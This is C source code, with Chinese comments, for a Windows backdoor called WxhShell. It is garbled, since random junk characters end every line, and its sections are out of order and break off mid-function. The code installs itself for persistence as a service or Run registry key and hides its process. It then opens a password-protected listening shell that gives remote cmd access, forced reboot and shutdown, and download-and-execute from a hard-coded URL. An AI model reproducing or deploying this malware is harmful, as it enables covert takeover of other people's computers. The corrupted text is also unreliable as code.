    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); > -OOU  
    if(Boot(SHUTDOWN)) t,r]22I,`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2PAu>}W*  
    else { `,'/Sdr  
    closesocket(wsh); S OI=~BGd)  
    ExitThread(0); ?Kgb-bXB  
    } ,<IomA:q4  
    break; u@dvFzc  
    } <<!fA ><W  
  // 获取shell 9)7$UQY  
  case 's': { 0g[ %)C  
    CmdShell(wsh); YVc cO~!8  
    closesocket(wsh); !~|-CF0z=  
    ExitThread(0); S L 5k^|  
    break; G:1d6[Q5{  
  } ": vGs_$  
  // 退出 R ABw( b  
  case 'x': { Tc(=J7*r&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Dizz ?O  
    CloseIt(wsh); &:l-;7d  
    break; `rVru= zoy  
    } d/R!x{$-f  
  // 离开 I(^0/]'  
  case 'q': { d1/WUKmbZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }. &ellNQ  
    closesocket(wsh);  U${W3Ra  
    WSACleanup(); hnFpC1TO  
    exit(1); {A/^;X{N^  
    break; v82wnP-~7  
        } =sk[I0W  
  } ~1+6gG  
  } zx%WV@O9  
V<UChD)N`  
  // 提示信息 5hmfdj6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \'Ae,q|w  
} *,JE[M  
  } o#p%IGG`  
V~/G,3:0y%  
  return; yU!1q}L!  
} G$f%]A1  
I4"p]>Y"  
// shell模块句柄 qS\#MMsTd  
int CmdShell(SOCKET sock) <kFLwF?PM'  
{ [eD0L7 1[  
STARTUPINFO si; [XY%<P3D  
ZeroMemory(&si,sizeof(si)); J- S.m(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;(?tlFc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T^7Cv{[  
PROCESS_INFORMATION ProcessInfo; s21} a,eB  
char cmdline[]="cmd"; 67iI wY*8'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !Q[v"6?  
  return 0; y2I7Zd .  
} 5csh8i'V  
O?X[&t  
// 自身启动模式 +7b8ye  
int StartFromService(void) _nqnO8^IG4  
{ ?zBu` 7j  
typedef struct ULAr!  
{ jn5xYKv  
  DWORD ExitStatus; 0FOB5eBR  
  DWORD PebBaseAddress; ! $$>D"  
  DWORD AffinityMask; sm-[=d%@L  
  DWORD BasePriority; dLp1l2h!0  
  ULONG UniqueProcessId; tfU*U>j  
  ULONG InheritedFromUniqueProcessId; (1'DZ xJ&u  
}   PROCESS_BASIC_INFORMATION; 6|NH*#s  
@N4~|`?U  
PROCNTQSIP NtQueryInformationProcess; .v+JV6!u  
2#7|zhgb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %(6IaqJ[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2'@m'4-N  
elR'e6Q  
  HANDLE             hProcess; JjS+'A$A5  
  PROCESS_BASIC_INFORMATION pbi; y`va6 %u{  
CI{2(.n4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S-Y{Vi"2  
  if(NULL == hInst ) return 0; P{9:XSa%  
R->x_9y-R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |4mvB2r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Qx4)'n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vntJe^IaFd  
AU\=n,K7  
  if (!NtQueryInformationProcess) return 0; *Y(59J2  
Y]([K.I=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Xd+H()nR  
  if(!hProcess) return 0; vb=]00c  
~Y/A]N86,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Em(_W5 ND{  
 57q=  
  CloseHandle(hProcess); |E >h*Y  
K+`GVmD  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NTt4sWP!I  
if(hProcess==NULL) return 0; i pn-HUrE@  
DDr\Kv)k(  
HMODULE hMod; VwI  
char procName[255]; .~o{i_JH  
unsigned long cbNeeded; eaFkDl  
hTDGgSG^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I:jIChT  
9;L4\  
  CloseHandle(hProcess); ;3/}"yG<p  
^i8,9T'=  
if(strstr(procName,"services")) return 1; // 以服务启动 q8$t4_pF  
 NAD^10  
  return 0; // 注册表启动 ~5HT _B U=  
} %<>:$4U@]  
$L^%*DkM  
// 主模块 5$ =[x!x  
int StartWxhshell(LPSTR lpCmdLine) tKt}]KHV  
{ H7'42J@  
  SOCKET wsl; QDn_`c  
BOOL val=TRUE; r4mh:T4i  
  int port=0; Sl8+A+  
  struct sockaddr_in door; BHY-fb@R]H  
M Z"V\6T]  
  if(wscfg.ws_autoins) Install(); 6 >)fNCe`  
+DRt2a #  
port=atoi(lpCmdLine); 3?B1oIHQ  
vNw(hT5750  
if(port<=0) port=wscfg.ws_port; 7"Xy8]i{z  
zn>lF  
  WSADATA data; edMCj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G Uu8 N  
R%3yxnM*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z@euO~e~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'b.jKkW7  
  door.sin_family = AF_INET; ]ePg6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wK2$hsque  
  door.sin_port = htons(port); QT+kCN  
US)i"l7:H*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { us.[wp'Sh  
closesocket(wsl); C[,h!  
return 1; @S3L%lOH  
} ) ' xyK  
*R+M#l9D`  
  if(listen(wsl,2) == INVALID_SOCKET) { 1< vJuF^  
closesocket(wsl); wxHd^b  
return 1; X.#*+k3s0  
} !ldEy#"X  
  Wxhshell(wsl); _qE9]mU  
  WSACleanup(); F qJ`d2E  
V30w`\1A  
return 0; D N!V".m`J  
;[ QIHA!  
} C+/EPPi  
dlo`](5m  
// 以NT服务方式启动 +(DzE H |  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,u|>%@h  
{ f1:>H.m`  
DWORD   status = 0; "S#$:92  
  DWORD   specificError = 0xfffffff; [,U l  
K-]) RIM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; WblH}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QyA^9@iVs  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #Tc`W_-  
  serviceStatus.dwWin32ExitCode     = 0; Mc c%&j  
  serviceStatus.dwServiceSpecificExitCode = 0; 3DO*kM1s@  
  serviceStatus.dwCheckPoint       = 0; J ?{sTj"KB  
  serviceStatus.dwWaitHint       = 0; 9 5!xJdq  
ED8{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F7<M{h5s  
  if (hServiceStatusHandle==0) return; +On2R&m  
imADjBR]  
status = GetLastError(); 1CJ1-]S(3  
  if (status!=NO_ERROR) Lf9s'o}.R  
{ z2V ->UK)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^N7cXK*  
    serviceStatus.dwCheckPoint       = 0; >0SG]er@  
    serviceStatus.dwWaitHint       = 0; z>+CMH5L)  
    serviceStatus.dwWin32ExitCode     = status; F lVG,Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; M5*Ln-qt(a  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lFuW8G,-f@  
    return; k @fxs]Y_L  
  } )r"R  
?6*\  M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `%|3c  
  serviceStatus.dwCheckPoint       = 0; 1?)h-aN  
  serviceStatus.dwWaitHint       = 0; %ly&~&0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bo/U5p  
} R}(Rv3>Xx  
u L v  
// 处理NT服务事件,比如:启动、停止 .&5 3sJ0{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R1hmJ  
{ A]iT uu5p  
switch(fdwControl) kK6t|Yn&  
{ elM<S3  
case SERVICE_CONTROL_STOP: NfQ QJ@*  
  serviceStatus.dwWin32ExitCode = 0; !gyW15z'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; '~yxu$aK  
  serviceStatus.dwCheckPoint   = 0; yuq o ^i  
  serviceStatus.dwWaitHint     = 0; .HTRvE`X  
  { y+^KVEw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %a8e_  
  } SIM> Lz  
  return; V,zFHXO  
case SERVICE_CONTROL_PAUSE: ,4,Bc<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F'wG%  
  break; ~d<&OL  
case SERVICE_CONTROL_CONTINUE: bOYM-\ {y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I7h v'3u  
  break; .5SYN -@  
case SERVICE_CONTROL_INTERROGATE: - ]/=WAOK  
  break;  f^}n#  
}; LCXWpU j~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |pknaz  
} bWp)'mx5u  
(3K,f4S@  
// 标准应用程序主函数 /^K-tz-R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \0i0#Dt9  
{ ;fQIaE&H  
"\lO Op^-  
// 获取操作系统版本 *k&V;?x|wt  
OsIsNt=GetOsVer(); 6[FXgCb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <D&  Ep  
V~8]ag4  
  // 从命令行安装 lRS'M,/  
  if(strpbrk(lpCmdLine,"iI")) Install(); )~xH!%4F  
lV./K;\T  
  // 下载执行文件 [g@Uc  
if(wscfg.ws_downexe) { N.|zz)y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mDt!b6N/  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]#S<]vA  
} "Qc4v@~)  
4K~>  
if(!OsIsNt) { am 'K$s  
// 如果时win9x,隐藏进程并且设置为注册表启动 W3('1  
HideProc(); ]T40VGJ:h  
StartWxhshell(lpCmdLine); u!HbS*jqq  
} Ke[`zui@?  
else h0x'QiCc  
  if(StartFromService()) Jz0AYiCq  
  // 以服务方式启动 _/ 5  
  StartServiceCtrlDispatcher(DispatchTable); vEE\{1  
else Vv`94aQTD  
  // 普通方式启动 S]}}r)  
  StartWxhshell(lpCmdLine); O#!|2qN  
[Tvdchl OC  
return 0; nXuy&;5TL,  
} @d8Nr:  
2#qc YU  
CCC9I8rZD  
#l*w=D?  
=========================================== M) JozD%  
Ag{)?5/d_  
([SJ6ff]&  
vwAhNw2-  
s[7/w[&  
 Ew;AYZX  
" `Um-Y'KE  
@eESKg(,  
#include <stdio.h> jW^]N$>  
#include <string.h> . Y!dO@$:  
#include <windows.h> ]R^xO;g'  
#include <winsock2.h> 1;,<UHF8N  
#include <winsvc.h> N3)n**  
#include <urlmon.h> @d0~'_vtB  
[T3%Xt'4  
#pragma comment (lib, "Ws2_32.lib") X-CoC   
#pragma comment (lib, "urlmon.lib") 4qd( a)NdY  
szqR1A  
#define MAX_USER   100 // 最大客户端连接数 pI_:3D xe  
#define BUF_SOCK   200 // sock buffer Y!y pG-  
#define KEY_BUFF   255 // 输入 buffer Lv)1 )'v0  
yYTOp^  
#define REBOOT     0   // 重启 +sq_fd ;'D  
#define SHUTDOWN   1   // 关机 =<TJ[,h et  
k O.iJcZg  
#define DEF_PORT   5000 // 监听端口 f"4w@X2F  
m3(p7Z^Bq  
#define REG_LEN     16   // 注册表键长度 ssH[\i  
#define SVC_LEN     80   // NT服务名长度 IO2@^jup  
oe=1[9T"  
// 从dll定义API s=K?-O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u{sb^cmy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8RVRfy,w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #B!M,TWf9s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k2#|^N  
wT,=C'  
// wxhshell配置信息 va"bw!zXo*  
struct WSCFG { 9@nd>B  
  int ws_port;         // 监听端口 *vqUOh  
  char ws_passstr[REG_LEN]; // 口令 l?xd3Z@7[  
  int ws_autoins;       // 安装标记, 1=yes 0=no Bq-}BN?pz  
  char ws_regname[REG_LEN]; // 注册表键名 V8pZr+AJ  
  char ws_svcname[REG_LEN]; // 服务名 MlbcJo3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z(LTHAbBk|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n7/&NiHxv/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nYBa+>3BDf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^nFP#J)_5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?1LRR ;-x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^q|W@uG-(  
HHs!6`R$0c  
}; e;|$nw-  
XBcbLF  
// default Wxhshell configuration B)P]C5KRD  
struct WSCFG wscfg={DEF_PORT, v5{2hCdt  
    "xuhuanlingzhe", Ef@Et(f_mQ  
    1, Uaj_,qb(  
    "Wxhshell", Wn?),=WQ{  
    "Wxhshell", r{*BJi.b  
            "WxhShell Service", pWH,nn?w.  
    "Wrsky Windows CmdShell Service", I_R6 M1  
    "Please Input Your Password: ", ;Z`R!  
  1, L7.SH#m  
  "http://www.wrsky.com/wxhshell.exe", `9T5Dem|#  
  "Wxhshell.exe" ['K}p24,  
    }; N9rAosO*  
bu08`P9  
// 消息定义模块 l<7SB5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1FT3d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Pl2eDv-y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8L6b:$Y3@C  
char *msg_ws_ext="\n\rExit."; kN#3HI]8  
char *msg_ws_end="\n\rQuit."; 5;HCNwX  
char *msg_ws_boot="\n\rReboot..."; {&6i$4T  
char *msg_ws_poff="\n\rShutdown..."; pEW~zl  
char *msg_ws_down="\n\rSave to "; NQvI=R-g  
DhsvN&yNM  
char *msg_ws_err="\n\rErr!"; )ac!@slb^7  
char *msg_ws_ok="\n\rOK!"; +NiCt S  
/fAAQ7  
char ExeFile[MAX_PATH]; K(WKx7Kky^  
int nUser = 0; vF[ 4kDHk  
HANDLE handles[MAX_USER]; 8f65;lyN  
int OsIsNt; *{\))Zmhd  
(<e<Q~(  
SERVICE_STATUS       serviceStatus; MY}K.^ 4^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0y+i?y 9  
Ea-U+7JC  
// 函数声明 B$ho g_=s  
int Install(void); t-<BRnxhE  
int Uninstall(void); {lg iH+:  
int DownloadFile(char *sURL, SOCKET wsh); Bx5kqHp^1  
int Boot(int flag); q[/pE7FL  
void HideProc(void); !DF5NA E  
int GetOsVer(void); 'P[#.9E  
int Wxhshell(SOCKET wsl); j"VDqDDz  
void TalkWithClient(void *cs); "{Y6.)x  
int CmdShell(SOCKET sock); S.<4t*,  
int StartFromService(void); wTG(U3{3K  
int StartWxhshell(LPSTR lpCmdLine); O}}rosA  
qL[ SwEc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y hC|hDC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l@-h.tS  
(=EDqAZg  
// 数据结构和表定义 >vO+k^'Y  
SERVICE_TABLE_ENTRY DispatchTable[] = JZ&_1~Z=  
{ @g]EY&Uzl  
{wscfg.ws_svcname, NTServiceMain}, <td]k%*+  
{NULL, NULL} {esb"beGLa  
}; xH}bX-m  
25@@-2h @  
// 自我安装 -~X[j2  
int Install(void) 6E9/ z  
{ aUA)p}/:  
  char svExeFile[MAX_PATH]; _aJKt3GQ  
  HKEY key; ~l*<LXp8  
  strcpy(svExeFile,ExeFile); x($Djx  
uU^iY$w  
// 如果是win9x系统,修改注册表设为自启动 Xil;`8h  
if(!OsIsNt) { Wcm8,?*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {Qn{w%!|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LhM$!o?W  
  RegCloseKey(key); (mKH,r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ndgx@LTQQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9.il1mAKg  
  RegCloseKey(key);  _+(@?  
  return 0; ,|.}6\zl*{  
    } ik;F@kdm`  
  } Chx+p&!  
} ;oDr8a<A  
else { %qTIT?6'  
6<R[hIWpZ}  
// 如果是NT以上系统,安装为系统服务 5NH4C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4-Jwy  
if (schSCManager!=0) K>b4(^lf  
{ U~;tk@  
  SC_HANDLE schService = CreateService .`V$j.a  
  (  5sN6&'[  
  schSCManager, ?(z"U b]  
  wscfg.ws_svcname, VxARJ*4=Y  
  wscfg.ws_svcdisp, k}NM]9EAE  
  SERVICE_ALL_ACCESS, P8ZmrtQm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y:, rN  
  SERVICE_AUTO_START, <gfRAeXA  
  SERVICE_ERROR_NORMAL, V*@Y9G  
  svExeFile, A^A)arJS  
  NULL, N;6o=^ic  
  NULL, g|7o1{   
  NULL, CyW|k Dz  
  NULL, >xq. bG  
  NULL D|Wlq~IpQ  
  ); Kfr1k  
  if (schService!=0) kxJ[Bi#  
  { `|nCnT'  
  CloseServiceHandle(schService); Im@OAR4,R  
  CloseServiceHandle(schSCManager); ={V@Y-5T  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Pnm$g; `P  
  strcat(svExeFile,wscfg.ws_svcname); 1?1Bz?EKF*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8N?D1; F;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o)^ Wz  
  RegCloseKey(key); jX(hBnGW  
  return 0; T?1V%!a;f  
    } k+ w Ji  
  } rjO{B`sV*  
  CloseServiceHandle(schSCManager); o[fg:/5)A  
} ]dI^ S  
} fb>$p_s]  
'%XYJr:H[  
return 1; "J=Cy@SSa  
} isQOt * i  
lG%697P  
// 自我卸载 V[KN,o{6  
int Uninstall(void) =!xX{o?64  
{ q CYu@Ho  
  HKEY key; wWiYxBeN  
Q}KOb4D  
if(!OsIsNt) { $?bD55  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L \E>5G;  
  RegDeleteValue(key,wscfg.ws_regname); &tvp)B?cWk  
  RegCloseKey(key); l &'q+F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G8klWZAJ  
  RegDeleteValue(key,wscfg.ws_regname); [H>u'fy:C  
  RegCloseKey(key); 3 ?I!  
  return 0; FiUwy/,ZV  
  } !*NDsC9  
} !]82$  
} |D"L!+J-$  
else { #?jsC)  
Z?!AJY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3IlVSR^py  
if (schSCManager!=0) ,aC}0t  
{ :T G;W,`.V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c {%mi  
  if (schService!=0) -OlrA{=c_  
  { 10 *Tk 8  
  if(DeleteService(schService)!=0) { XGH:'^o_  
  CloseServiceHandle(schService); P=jsOuW  
  CloseServiceHandle(schSCManager); 4Z~ nWs  
  return 0; -bzlp7q*  
  } 5~@-LXqL  
  CloseServiceHandle(schService); aaT3-][  
  } cK u[ 4D{  
  CloseServiceHandle(schSCManager); k'#3fz\  
} iC=>wrqY>  
} 3?]81v/  
h%ys::\zF  
return 1; WcNQF!f  
} dB0#EJaE  
3WGET[3  
// 从指定url下载文件 $S|+U}]C  
int DownloadFile(char *sURL, SOCKET wsh) &um++ \  
{ UNa "\  
  HRESULT hr; 1J"I.  
char seps[]= "/"; !ZH "$m|  
char *token; $sda'L5^p  
char *file; #NYnZ^6e  
char myURL[MAX_PATH]; : #CWiq("%  
char myFILE[MAX_PATH]; ~44u_^a  
az0=jou<Zl  
strcpy(myURL,sURL); aH'fAX0bF  
  token=strtok(myURL,seps); 9]oT/ooM  
  while(token!=NULL) BoYY^ih  
  { v7wyQx+Q  
    file=token; ;WX.D]>{W  
  token=strtok(NULL,seps); Yr_ B(n  
  } xsj ,l@Ey  
8:V,>PH  
GetCurrentDirectory(MAX_PATH,myFILE); _uMG?Sbx  
strcat(myFILE, "\\"); N'WTIM3W  
strcat(myFILE, file); W6NhJ#M7  
  send(wsh,myFILE,strlen(myFILE),0); f^B8!EY#:  
send(wsh,"...",3,0); *af\U3kx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G&{yM2:E  
  if(hr==S_OK) p7;K] AW  
return 0; @i>)x*I#AI  
else ?j.a>{  
return 1; Q!@M/@-Ky  
|ffHOef  
} K?' m#}]  
)2?]c  
// 系统电源模块 zMbFh_dcq  
int Boot(int flag) w!6{{m  
{ E0+L?(;  
  HANDLE hToken; sT2`y$ '  
  TOKEN_PRIVILEGES tkp; B+Qf? 1f  
Et N,  
  if(OsIsNt) { ,5;M(ft#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8fP2qj0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E b[;nk?  
    tkp.PrivilegeCount = 1; ) Y)_T&O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |w|c!;,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |> STb\  
if(flag==REBOOT) { SqPqL<,e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &@oI/i&0B  
  return 0; ]j>xQm\  
} gPk,nB  
else { #ay/VlD@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NgyEy n \  
  return 0; QvZ"{  
} FJtmRPP[r  
  } _`? cBu`  
  else {  (yP1}?  
if(flag==REBOOT) { d9v66mpJM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <?7qI85OT  
  return 0; IsI5c  
} yHw @Z  
else { m)p|NdTZc8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (dSYb&]  
  return 0; )\u%XFPhS  
} G]rY1f0  
} t/Io.d   
MygAmV&  
return 1; 9 fB|e|  
} ' 9f0UtT|[  
>va_,Y}  
// win9x进程隐藏模块 =fRS UtX  
void HideProc(void) aJ(/r.1G  
{ Y`j$7!j  
L'{W|Xb+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c<|y/n  
  if ( hKernel != NULL ) c rb^TuN  
  { s oY\6mHio  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rt*x[5<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8 8_ef7w  
    FreeLibrary(hKernel); Bu=1-8@=qs  
  } iuY,E  
xS1n,gTA  
return; USyc D`  
} )v;O2z  
B=d< L^  
// 获取操作系统版本 I+kAy;2  
int GetOsVer(void) t7-]OY7%w_  
{ h<%$?h+}  
  OSVERSIONINFO winfo; 4u}Cki,vOK  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =_-u;w1D  
  GetVersionEx(&winfo); 2QaE&8vW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~_EDJp1J  
  return 1; y`n?f|nf  
  else o:QL%J{[  
  return 0; Zu|NF uFI  
} J;_4 3eS  
AA=Ob$2$  
// 客户端句柄模块 i RrUIWx  
int Wxhshell(SOCKET wsl) vGv<WEE  
{ ]4H)GWHKg  
  SOCKET wsh; _|M8xI  
  struct sockaddr_in client; \o[][R#D  
  DWORD myID; ZXb|3|D  
F&wAre<  
  while(nUser<MAX_USER) mh}D[K=~%  
{ LH4#p%Pb%  
  int nSize=sizeof(client); nu\AEFT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s*Qyd{"z  
  if(wsh==INVALID_SOCKET) return 1; y-+W  
N0S^{j,i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;VKWY  
if(handles[nUser]==0) *?t$Q|2Xr  
  closesocket(wsh); b+qd' ,.Z  
else DehjV6t  
  nUser++; ^~V2xCu!  
  } Ds(Z.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /.e7#-+?  
tR>zBh_b  
  return 0; i24k ]F  
} u1X^#K$nu'  
9o>D Uc  
// 关闭 socket CPy>sV3Ru0  
void CloseIt(SOCKET wsh) >)M1X?HI5  
{ .@)vJtH)  
closesocket(wsh); L/rf5||@  
nUser--; P{A})t7  
ExitThread(0); :L@ ;.s  
} ];w}?LFb  
*S*49Hq7c  
// 客户端请求句柄 zk{d*gN  
void TalkWithClient(void *cs) "e"#k}z9  
{ EF<TU.)Zf  
Xsa8YP9  
  SOCKET wsh=(SOCKET)cs; PyfWIU7O  
  char pwd[SVC_LEN]; J*rYw5QB  
  char cmd[KEY_BUFF]; .4v?/t1  
char chr[1]; qvc< _k^  
int i,j; W2X`%Tx0  
"Y<;R+z  
  while (nUser < MAX_USER) { qj~=qV0p  
OS#aYER~/  
if(wscfg.ws_passstr) { >G|RVB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B$rhsK%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t)W=0iEd9  
  //ZeroMemory(pwd,KEY_BUFF); jm%s#`)g  
      i=0; 9jImuSZ  
  while(i<SVC_LEN) { f%EHzm/V  
*xxk70Cb  
  // 设置超时 -*mbalU,J  
  fd_set FdRead; F3(Sb M-  
  struct timeval TimeOut; ) Z3KO  
  FD_ZERO(&FdRead); EmT_T 3v  
  FD_SET(wsh,&FdRead); |c0^7vrC  
  TimeOut.tv_sec=8; fd *XK/h  
  TimeOut.tv_usec=0; R-m5(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %/I:r7UR{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); By@65KmR"  
3=n6N TL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i_N8)Z;r  
  pwd=chr[0]; HFP'b=?`]|  
  if(chr[0]==0xd || chr[0]==0xa) { KMi$0+  
  pwd=0; GwF8ze+cH  
  break; |1_$\k9Y&  
  } q<3La(^/  
  i++; *l`yxz@U  
    } |*t2IVwX  
f@;pN=PS  
  // 如果是非法用户,关闭 socket g "Du]_,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uEb:uENk'(  
} V7U*09 0*5  
`0ym3}(O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O W.CU=XU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w98M #GqV  
K@=u F 1?  
while(1) { pv0|6X?J"  
}+m4(lpl  
  ZeroMemory(cmd,KEY_BUFF); Ydrh+  
2 %fcDEG/  
      // 自动支持客户端 telnet标准   # l9VTzi  
  j=0; m^XO77"  
  while(j<KEY_BUFF) { yn!;Z ._  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #+D][LH4  
  cmd[j]=chr[0]; XFoSGqD  
  if(chr[0]==0xa || chr[0]==0xd) { J\+fkN<.  
  cmd[j]=0; h^rG5Q  
  break; @cIYS%iZ  
  } NB<8M!X/  
  j++; ?<4pYEP  
    } b * \ oQ  
U<&=pv  
  // 下载文件 H^kOwmSzh  
  if(strstr(cmd,"http://")) { O$,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X[h{g`  
  if(DownloadFile(cmd,wsh)) })] iN "  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g5+m]3#t  
  else +i}H $.  
